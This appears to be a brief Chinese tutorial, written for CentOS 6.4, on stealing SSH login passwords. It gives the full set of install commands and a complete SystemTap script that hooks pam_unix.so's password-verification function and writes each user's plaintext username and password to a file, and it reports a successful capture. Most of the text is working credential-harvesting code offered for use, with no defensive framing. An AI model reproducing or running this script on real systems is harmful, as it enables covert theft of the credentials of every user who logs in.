測試環境:CentOS6.4 32位
內核版本:2.6.32-358.el6.i686
yum --releasever=6.4 update
yum install -y systemtap
debuginfo-install $(rpm -qf /lib/security/pam_unix.so)
touch /root/capture_pass.stp
#!/usr/bin/stap global username, pass, isSuccRet = 1; probe process("/lib/security/pam_unix.so").function("_unix_verify_password") { username = user_string($name); pass = user_string($p); } probe process("/lib/security/pam_unix.so").function("_unix_verify_password").return { if ($return == 0) { printf("User: %s\nPassword: %s\n\n", username, pass); isSuccRet = 0; } } probe process("/lib/security/pam_unix.so").function("pam_sm_open_session") { if (isSuccRet != 0) { printf("Login via ssh service.\n\User: %s\nPassword: %s\n\n", username, pass); } isSuccRet = 1; }
touch password.txt
chmod +x capture_pass.stp
stap capture_pass.stp -o password.txt
本地執行capture_pass.stp腳本,同時ssh遠程登錄系統,即使第一次登錄失敗也沒有問題,不會記錄嘗試輸入的錯誤密碼。登錄成功後ctl+C終止腳本運行,查看password.txt,成功捕獲。
原理主要是對PAM模塊pam_unix.so庫文件的函數調用進行捕獲,因爲用戶登錄認證需要使用pam_unix.so庫文件。